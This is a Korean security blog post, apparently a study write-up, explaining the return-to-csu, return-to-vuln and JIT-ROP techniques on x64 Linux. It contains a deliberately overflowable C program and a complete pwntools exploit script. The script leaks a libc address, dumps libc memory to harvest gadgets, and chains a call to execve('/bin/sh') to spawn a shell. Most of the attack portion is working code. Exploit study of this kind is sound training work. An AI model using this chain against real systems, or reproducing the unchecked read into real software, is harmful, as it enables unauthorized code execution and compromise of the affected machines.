Return to csu (ft. Return-to-vuln, Just-In-Time Code Reuse)
System/System Hacking

Return to csu (ft. Return-to-vuln, Just-In-Time Code Reuse)

728x90

return-to-csu x64

https://doongdangdoongdangdong.tistory.com/62?category=869864

 


return-to-vuln

ROP 코드를 실행한 후 취약성이 있는 코드로 다시 이동

 

gcc로 컴파일된 파일

"leave ; ret ;" gadget을 이용해 return-to-dl-resolve 기법으로 스택의 흐름을 변경할 수 있다.

 

clang으로 컴파일된 파일

"leave ; ret ;" gadget을 찾을 수 없다.

clang 으로 컴파일된 바이너리는 스택(entry point)을 정리할 때 "leave" 명령어가 사용되지 않는다.

Return-to-vuln 기법을 사용해 ROP 코드 실행 후 취약성이 있는 함수를 다시 호출해 공격


Just-In-Time Code Reuse

JIT 컴파일러로 생성된 바이트 코드의 영역을 읽어 부족한 gadget 찾는 방식

JIT (Just-In-Time) 컴파일러

소스 코드/머신 코드에 대한 바이트 코드를 컴파일하고 실행하는 것으로 구성

일반적으로 메모리에서 직접 수행되고, 변형된 바이트 코드를 실행하기 위해 해당 코드가 저장된 메모리 영역에 대한 실행권한이 필요


Proof of Concept

//clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
  
int main(){
    write(1,"Hello ROP\n",10);
    vuln();
    return 0;
}

Overflow

rsp = 0x7fffffffde68

rsi = 0x7fffffffde20


Exploit Method

rop 기법을 이용한 exploit 순서

 

1. 첫번째 ROP Chain

    - write() 함수를 이용해 __libc_start_main@got 영역에 저장된 libc 주소 추출

    - vuln() 함수의 시작주소로 이동

2. 두번째 ROP Chain

    - JIT ROP: write() 함수를 이용해 메모리에 저장된 libc 파일 출력 ▷ 출력 값에서 필요한 ROP gadget 찾기

    - read() 함수로 .bss 영역에 값 저장 ▷ execve() 함수의 첫번째 인자로 전달될 "/bin/sh" 문자열을 .bss 영역에 저장

    - vuln() 함수의 시작 주소로 이동

3. 세번째 ROP Chain

    - execve() 시스템 함수를 이용해 "/bin/sh" 실행

write(1,__libc_start_main,8)
JMP vuln()
write(1,Address of leak libc,0x190000)
read(0, base_stage ,8)
JMP vuln()
execve("/bin/sh", NULL, NULL)

필요한 정보

- .bss, libc 영역의 주소

- return-to-csu gadget 주소

- read@got, write@got 주소

- vuln() 함수의 시작 주소


Find the Address

.bss 영역 주소 = 0x601010

 

vuln 시작 주소 = 0x400560

gadget1 = 0x40062a

gadget2 = 0x4005f0

gadget2 = 0x400610


Exploit

from pwn import *
from struct import *
  
#context.log_level = 'debug'
  
binary = ELF('./rop')
 
execve = 59
 
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
  
addr_csu_init1 = 0x40062a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x400610
addr_main = 0x400560
  
stacksize = 0x400
base_stage = addr_bss + stacksize
  
p = process(binary.path)
p.recvn(10)
  
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Stage 1 - write(1,addr_got_start,8)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)
 
p.send(buf)
leak = p.recv()
libc_addr = u64(leak[:8])
log.info("__libc_start_main : " + hex(libc_addr))
  
libc_bin = ''
libc_readsize = 0x190000
  
buf = 'A' * 72
#Stage 2 - write(1, Address of leak libc, 0x190000)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
  
#Stage 2 - read(0, base_stage ,8)
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(8)
buf += p64(base_stage)
buf += p64(0)
 
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)
 
p.send(buf)
 
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))
 
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("libc addr : " + hex(libc_addr))
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
 
buf = "/bin/sh\x00"
 
p.send(buf)
 
##Stage 3 - execve("/bin/sh", NULL, NULL)
buf =  'A' * 72
buf += p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
 
p.send(buf)
p.interactive()

! 성공 !

SMALL

'System > System Hacking' 카테고리의 다른 글

[Heap] Security Check  (0) 2020.09.13
[Heap] ptmalloc2  (0) 2020.09.12
Return to csu (ft. JIT ROP)  (0) 2020.08.14
SROP x64  (0) 2020.07.24
SROP x86  (0) 2020.07.23